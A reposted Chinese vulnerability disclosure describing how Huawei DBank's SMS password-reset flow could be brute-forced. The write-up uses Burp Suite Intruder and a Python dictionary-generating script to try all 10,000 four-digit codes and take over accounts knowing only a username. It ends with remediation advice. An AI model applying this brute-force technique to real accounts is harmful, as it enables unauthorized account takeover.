网站地图    收藏   

主页 > 后端 > 网站安全 >

华为网盘部分用户密码修改 - 网站安全 - 自学p

来源:自学PHP网    时间:2015-04-16 23:15 作者: 阅读:

[导读] 华为网盘部分用户密码修改针对绑定了手机号的用户可以修改其密码(用户注册后可以在设置里绑定手机)本次攻击不需要知道目标的手机号,只需要知道用户名(通常是邮箱或者手机...

华为网盘部分用户密码修改
针对绑定了手机号的用户可以修改其密码(用户注册后可以在设置里绑定手机)
 
本次攻击不需要知道目标的手机号,只需要知道用户名(通常是邮箱或者手机号)就可以了。
 
http://dbank.vmall.com/netdisk/resetpassword.html?v=2.9.41372210600917#inputAccount
 
这个网页是用来找回密码的,输入目标用户名,然后找回方式选择“通过密保手机重置密码”
 
 
Burpsuite拦截数据包
GET请求中的r参数就是验证码,设置其为变量。
 
已知这个手机验证码是4位数字组合,写个python脚本生成个字典
 
f=open("dict.txt",'w+')

chars=[

'0','1','2','3','4','5','6','7','8','9',

# 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',

# 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z',

]

base=len(chars) #62

end=len(chars)**4

for i in range(0,end):

n=i

ch0=chars[n%base]

n=n/base

ch1=chars[n%base]

n=n/base

ch2=chars[n%base]

n=n/base

ch3=chars[n%base]

print i,ch3,ch2,ch1,ch0

f.write(ch3+ch2+ch1+ch0+'\n')

f.close()

 

 
开启intruder,这里有10000个请求,几分钟搞定。
 
 
这里要注意的是返回的报文长度是不变的,变化的只是这个retcode,修改密码失败的返回0002,成功返回的是0000,这个不影响我们的攻击。
 
然后用新密码登陆吧。(如果此时本机不被华为网盘响应,请稍等一两分钟或者换台电脑)
 
修复方案:
这种找回密码的逻辑方便了用户,但是有安全隐患。建议:
 
1.验证码长一点,一般情况下验证码有6位;
 
2.当用户输入正确的验证码后再跳转到输入新密码页面,而且验证码只能是输入一次有效;
 
3.限制用户提交验证的次数或者一次输入错误后要求输入图片验证码。

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论